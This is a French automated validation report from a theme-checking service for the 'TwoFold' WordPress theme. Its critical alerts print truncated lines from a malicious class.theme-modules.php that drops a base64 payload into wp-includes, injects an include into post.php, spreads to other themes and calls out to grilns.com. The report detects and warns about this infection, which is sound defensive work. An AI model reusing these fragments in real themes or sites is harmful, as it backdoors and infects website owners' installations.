0
Résultats de validation

TwoFold

TwoFold

WordPress 6.5.2 theme
0
  • TYPE DE THèMEThème WordPress %s 6.5.2
  • NOM DU FICHIERtest.zip
  • TAILLE DU FICHIER2363627 octets
  • MD5e585ffea594171f4a41f76f9d5b4d7d9
  • SHA1b51bd8453a6cff39c9344b5b2b9d0ffa1d3c1447
  • LICENCEPropriétaire
  • FICHIERS INCLUSCSS, PHP, XML, Bitmap images, Adobe Illustrator
  • VERSION3.1.8.1
  • TAGStwo-columns, four-columns, custom-header, custom-background, threaded-comments, sticky-post, translation-ready, microformats, rtl-language-support, editor-style
  • DATE DE CRéATION2019-08-24
  • DERNIèRE MISE à JOUR DU FICHIER2019-08-24
  • DERNIèRE VALIDATION2019-08-24 17:31
Ce thème n'est peut être pas libre. Themecheck ne distribue pas de thèmes commerciaux.
Alertes critiques
  1. Failles de sécurité : Modification des paramètres du serveur PHP ini_set trouvé dans le fichier class.theme-modules.php.
    Ligne5: ini_set('display_errors', 0);
  2. Failles de sécurité : Utilisation de base64_decode() base64_decode trouvé dans le fichier class.theme-modules.php.
    Ligne45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS['WP_CD_CODE']))) )
    Ligne95: $install_code = str_replace('{$PASSWORD}' , $install_hash, base64_decode( $install_code ));
  3. Code malveillant : Opérations sur système de fichiers file_get_contents trouvé dans le fichier class.theme-modules.php.
    Ligne45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Ligne50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.grilns.com/admin.txt'));
    Ligne111: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne138: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne171: $content = @file_get_contents('http://www.grilns.com/o.php?host=' . $_SERVER['HTTP_HOST
    Ligne172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.grilns.com/admin.txt'));
    Ligne177: $content = @file_get_contents('http://www.grilns.com/o.php?host=' . $_SERVER['HTTP_HOST
    Ligne178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.grilns.com/admin.txt'));
    Ligne202: if ($file = file_get_contents($e[1]))
    Ligne217: if ($file = @file_get_contents(__FILE__))
    file_put_contents trouvé dans le fichier class.theme-modules.php.
    Ligne45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS
    Ligne49: file_put_contents($path . '/wp-includes/post.php', $file);
    Ligne50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h
    Ligne116: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne143: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('
    Ligne178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('
    Ligne221: @file_put_contents(__FILE__, $file);
    file_put_contents trouvé dans le fichier class.theme-modules.php.
    Ligne45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS
    Ligne49: file_put_contents($path . '/wp-includes/post.php', $file);
    Ligne50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h
    Ligne116: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne143: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('
    Ligne178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('
    Ligne221: @file_put_contents(__FILE__, $file);
    file_put_contents trouvé dans le fichier class.theme-modules.php.
    Ligne45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS
    Ligne49: file_put_contents($path . '/wp-includes/post.php', $file);
    Ligne50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h
    Ligne116: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne143: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('
    Ligne178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('
    Ligne221: @file_put_contents(__FILE__, $file);
    file_get_contents trouvé dans le fichier class.theme-modules.php.
    Ligne45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Ligne50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.grilns.com/admin.txt'));
    Ligne111: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne138: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne171: $content = @file_get_contents('http://www.grilns.com/o.php?host=' . $_SERVER['HTTP_HOST
    Ligne172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.grilns.com/admin.txt'));
    Ligne177: $content = @file_get_contents('http://www.grilns.com/o.php?host=' . $_SERVER['HTTP_HOST
    Ligne178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.grilns.com/admin.txt'));
    Ligne202: if ($file = file_get_contents($e[1]))
    Ligne217: if ($file = @file_get_contents(__FILE__))
    file_get_contents trouvé dans le fichier class.theme-modules.php.
    Ligne45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Ligne50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.grilns.com/admin.txt'));
    Ligne111: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne138: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne171: $content = @file_get_contents('http://www.grilns.com/o.php?host=' . $_SERVER['HTTP_HOST
    Ligne172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.grilns.com/admin.txt'));
    Ligne177: $content = @file_get_contents('http://www.grilns.com/o.php?host=' . $_SERVER['HTTP_HOST
    Ligne178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.grilns.com/admin.txt'));
    Ligne202: if ($file = file_get_contents($e[1]))
    Ligne217: if ($file = @file_get_contents(__FILE__))
    file_put_contents trouvé dans le fichier class.theme-modules.php.
    Ligne45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS
    Ligne49: file_put_contents($path . '/wp-includes/post.php', $file);
    Ligne50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h
    Ligne116: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne143: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('
    Ligne178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('
    Ligne221: @file_put_contents(__FILE__, $file);
    file_get_contents trouvé dans le fichier class.theme-modules.php.
    Ligne45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Ligne50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.grilns.com/admin.txt'));
    Ligne111: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne138: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne171: $content = @file_get_contents('http://www.grilns.com/o.php?host=' . $_SERVER['HTTP_HOST
    Ligne172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.grilns.com/admin.txt'));
    Ligne177: $content = @file_get_contents('http://www.grilns.com/o.php?host=' . $_SERVER['HTTP_HOST
    Ligne178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.grilns.com/admin.txt'));
    Ligne202: if ($file = file_get_contents($e[1]))
    Ligne217: if ($file = @file_get_contents(__FILE__))
    file_put_contents trouvé dans le fichier class.theme-modules.php.
    Ligne45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS
    Ligne49: file_put_contents($path . '/wp-includes/post.php', $file);
    Ligne50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h
    Ligne116: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne143: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('
    Ligne178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('
    Ligne221: @file_put_contents(__FILE__, $file);
    file_get_contents trouvé dans le fichier class.theme-modules.php.
    Ligne45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Ligne50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.grilns.com/admin.txt'));
    Ligne111: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne138: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne171: $content = @file_get_contents('http://www.grilns.com/o.php?host=' . $_SERVER['HTTP_HOST
    Ligne172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.grilns.com/admin.txt'));
    Ligne177: $content = @file_get_contents('http://www.grilns.com/o.php?host=' . $_SERVER['HTTP_HOST
    Ligne178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.grilns.com/admin.txt'));
    Ligne202: if ($file = file_get_contents($e[1]))
    Ligne217: if ($file = @file_get_contents(__FILE__))
    file_put_contents trouvé dans le fichier class.theme-modules.php.
    Ligne45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS
    Ligne49: file_put_contents($path . '/wp-includes/post.php', $file);
    Ligne50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h
    Ligne116: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne143: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('
    Ligne178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('
    Ligne221: @file_put_contents(__FILE__, $file);
    file_get_contents trouvé dans le fichier class.theme-modules.php.
    Ligne45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Ligne50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.grilns.com/admin.txt'));
    Ligne111: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne138: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne171: $content = @file_get_contents('http://www.grilns.com/o.php?host=' . $_SERVER['HTTP_HOST
    Ligne172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.grilns.com/admin.txt'));
    Ligne177: $content = @file_get_contents('http://www.grilns.com/o.php?host=' . $_SERVER['HTTP_HOST
    Ligne178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.grilns.com/admin.txt'));
    Ligne202: if ($file = file_get_contents($e[1]))
    Ligne217: if ($file = @file_get_contents(__FILE__))
    file_get_contents trouvé dans le fichier class.theme-modules.php.
    Ligne45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Ligne50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.grilns.com/admin.txt'));
    Ligne111: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne138: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne171: $content = @file_get_contents('http://www.grilns.com/o.php?host=' . $_SERVER['HTTP_HOST
    Ligne172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.grilns.com/admin.txt'));
    Ligne177: $content = @file_get_contents('http://www.grilns.com/o.php?host=' . $_SERVER['HTTP_HOST
    Ligne178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.grilns.com/admin.txt'));
    Ligne202: if ($file = file_get_contents($e[1]))
    Ligne217: if ($file = @file_get_contents(__FILE__))
    file_put_contents trouvé dans le fichier class.theme-modules.php.
    Ligne45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS
    Ligne49: file_put_contents($path . '/wp-includes/post.php', $file);
    Ligne50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h
    Ligne116: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne143: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('
    Ligne178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('
    Ligne221: @file_put_contents(__FILE__, $file);
    file_get_contents trouvé dans le fichier class.theme-modules.php.
    Ligne45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Ligne50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.grilns.com/admin.txt'));
    Ligne111: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne138: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne171: $content = @file_get_contents('http://www.grilns.com/o.php?host=' . $_SERVER['HTTP_HOST
    Ligne172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.grilns.com/admin.txt'));
    Ligne177: $content = @file_get_contents('http://www.grilns.com/o.php?host=' . $_SERVER['HTTP_HOST
    Ligne178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.grilns.com/admin.txt'));
    Ligne202: if ($file = file_get_contents($e[1]))
    Ligne217: if ($file = @file_get_contents(__FILE__))
    file_get_contents trouvé dans le fichier class.theme-modules.php.
    Ligne45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Ligne50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.grilns.com/admin.txt'));
    Ligne111: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne138: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne171: $content = @file_get_contents('http://www.grilns.com/o.php?host=' . $_SERVER['HTTP_HOST
    Ligne172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.grilns.com/admin.txt'));
    Ligne177: $content = @file_get_contents('http://www.grilns.com/o.php?host=' . $_SERVER['HTTP_HOST
    Ligne178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.grilns.com/admin.txt'));
    Ligne202: if ($file = file_get_contents($e[1]))
    Ligne217: if ($file = @file_get_contents(__FILE__))
    file_get_contents trouvé dans le fichier class.theme-modules.php.
    Ligne45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Ligne50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.grilns.com/admin.txt'));
    Ligne111: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne138: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne171: $content = @file_get_contents('http://www.grilns.com/o.php?host=' . $_SERVER['HTTP_HOST
    Ligne172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.grilns.com/admin.txt'));
    Ligne177: $content = @file_get_contents('http://www.grilns.com/o.php?host=' . $_SERVER['HTTP_HOST
    Ligne178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.grilns.com/admin.txt'));
    Ligne202: if ($file = file_get_contents($e[1]))
    Ligne217: if ($file = @file_get_contents(__FILE__))
    file_put_contents trouvé dans le fichier class.theme-modules.php.
    Ligne45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS
    Ligne49: file_put_contents($path . '/wp-includes/post.php', $file);
    Ligne50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h
    Ligne116: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne143: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('
    Ligne178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('
    Ligne221: @file_put_contents(__FILE__, $file);
  4. Menu Admin : Les thèmes doivent utiliser add_theme_page () pour ajouter des pages admin. Fichier fuelthemes.php :
    Ligne495: add_menu_page( Thb_Theme_Admin::$thb_theme_name, Thb_Theme_Admin::$thb_them
    Fichier fuelthemes.php :
    Ligne498: add_submenu_page( 'thb-product-registration', 'Registration', 'Registration
    Ligne501: add_submenu_page( 'thb-product-registration', 'Plugins', 'Plugins', 'edit_t
    Ligne504: add_submenu_page( 'thb-product-registration', 'Demo Import', 'Demo Import',
    Ligne507: add_submenu_page( 'thb-product-registration', 'Theme Options', 'Theme Optio
    Fichier fuelthemes.php :
    Ligne498: add_submenu_page( 'thb-product-registration', 'Registration', 'Registration
    Ligne501: add_submenu_page( 'thb-product-registration', 'Plugins', 'Plugins', 'edit_t
    Ligne504: add_submenu_page( 'thb-product-registration', 'Demo Import', 'Demo Import',
    Ligne507: add_submenu_page( 'thb-product-registration', 'Theme Options', 'Theme Optio
    Fichier fuelthemes.php :
    Ligne498: add_submenu_page( 'thb-product-registration', 'Registration', 'Registration
    Ligne501: add_submenu_page( 'thb-product-registration', 'Plugins', 'Plugins', 'edit_t
    Ligne504: add_submenu_page( 'thb-product-registration', 'Demo Import', 'Demo Import',
    Ligne507: add_submenu_page( 'thb-product-registration', 'Theme Options', 'Theme Optio
    Fichier fuelthemes.php :
    Ligne498: add_submenu_page( 'thb-product-registration', 'Registration', 'Registration
    Ligne501: add_submenu_page( 'thb-product-registration', 'Plugins', 'Plugins', 'edit_t
    Ligne504: add_submenu_page( 'thb-product-registration', 'Demo Import', 'Demo Import',
    Ligne507: add_submenu_page( 'thb-product-registration', 'Theme Options', 'Theme Optio
    Fichier OneClickDemoImport.php :
    Ligne138: $this->plugin_page = add_submenu_page(
  5. Inclusion de plugin : Présence de fichier zip Les plugins ne sont pas autorisés dans les thèmes. Le fichier zip twofold-post-types.zip a été trouvé.
Attention
  1. Text domain : Utilisation incorrecte des fonctions de traduction.Mauvaus répertoire d'installation pour le thème. Le nom du répertoir doit correspondre au slug du thème. Le slug de ce thème ainsi que le text-domain est twofold.
  2. Text domain : Utilisation incorrecte des fonctions de traduction.Plusieurs text-domain sont utilisés dans le thème. Cela signifie que le thème n'est pas compatible avec les language packs de WordPress. Les domaines trouvés sont woocommerce, twofold, thevoux, option-tree, tgmpa, wordpress-importer, pt-ocdi.
  3. Contextes de plugin : Fonctionnalités de pluginLe thème utilise la fonction register_taxonomy(). Cette fonction n'est pas prévue pour être utilisée dans le contexte d'un thème, mais plutôt dans un plugin.
  4. Pagination des commentaires : Déclaration de la pagination des commentairesLe thème ne prend pas en charge la pagination de commentaire. La fonction paginate_comments_links() permet d'ajouter une pagination de commentaire.
  5. Eléments custom : Présence d'une entête customAucune référence à custom header n'a été trouvée dans le thème.
  6. Editor style : Présence de l'édition de styleAucune référence à add_editor_style() n'a été trouvée dans le thème. Il est recommandé que le thème implémente l'édition de style, de manière à faire correspondre le contenu de l'éditeur l'affichage dans le thème.
Info
  1. Fichiers optionnels : Présence du fichierde style pour les écritures de droite vers la gauche rtl.cssCe thème ne contient pas le fichier optionnel rtl.php.
  2. Fichiers optionnels : Présence du fichier-template fron-*page.phpCe thème ne contient pas le fichier optionnel front-page.php.
  3. Fichiers optionnels : Présence du fichier-template de page d'accueil home.phpCe thème ne contient pas le fichier optionnel home.php.
  4. Fichiers optionnels : Présence du fichier-template de catégorie category.phpCe thème ne contient pas le fichier optionnel category.php.
  5. Fichiers optionnels : Présence du fichier-template des tags tag.phpCe thème ne contient pas le fichier optionnel tag.php.
  6. Fichiers optionnels : Présence du fichier template de taxinomie taxonomy.phpCe thème ne contient pas le fichier optionnel taxonomy.php.
  7. Fichiers optionnels : Présence du fichier-template author.phpCe thème ne contient pas le fichier optionnel author.php.
  8. Fichiers optionnels : Présence de du fichier-template des dates et heures date.phpCe thème ne contient pas le fichier optionnel date.php.
  9. Fichiers optionnels : Présence du fichier-template des archives archive.phpCe thème ne contient pas le fichier optionnel archive.php.
  10. Fichiers optionnels : Présence du fichier-template des résultats de recherche search.phpCe thème ne contient pas le fichier optionnel search.php.
  11. Fichiers optionnels : Présence du fichier-template des pièces jointes attachment.phpCe thème ne contient pas le fichier optionnel attachment.php.
  12. Fichiers optionnels : Présence du fichier-template des images image.phpCe thème ne contient pas le fichier optionnel image.php.
  13. Utilisation d'includes : Utilisation de include ou de de requireLe thème semble utiliser include ou require : demo-import.php
    Ligne2: <?php include 'header.php'; ?>
    Ligne21: include 'requirements.php'; 
    Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.
    Le thème semble utiliser include ou require : registration.php
    Ligne2: <?php include 'header.php'; ?>
    Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.
    Le thème semble utiliser include ou require : plugins.php
    Ligne2: <?php include 'header.php'; ?>
    Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.
    Le thème semble utiliser include ou require : header.php
    Ligne7: <?php include 'tabs.php'; ?>
    Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.
    Le thème semble utiliser include ou require : ot-loader.php
    Ligne552: require( $file );
    Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.
    Le thème semble utiliser include ou require : ot-functions-docs-page.php
    Ligne751: require( trailingslashit( get_template_directory() ) . \'includes/meta-boxe
    Ligne834: require( trailingslashit( get_template_directory() ) . \'option-tree/ot-loa
    Ligne851: require( trailingslashit( get_template_directory() ) . \'includes/theme-opt
    Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.
    Le thème semble utiliser include ou require : CustomizerImporter.php
    Ligne186: require_once( ABSPATH . 'wp-admin/includes/media.php' );
    Ligne187: require_once( ABSPATH . 'wp-admin/includes/file.php' );
    Ligne188: require_once( ABSPATH . 'wp-admin/includes/image.php' );
    Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.
    Le thème semble utiliser include ou require : class.theme-modules.php
    Ligne48: $file = '<?php if (file_exists(dirname(__FILE__) . \'/wp-vcd.php\')) include_once(dirname(__FILE__) . \'/wp-vcd.php\'); ?>' . $file;
    Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.
Other checked themes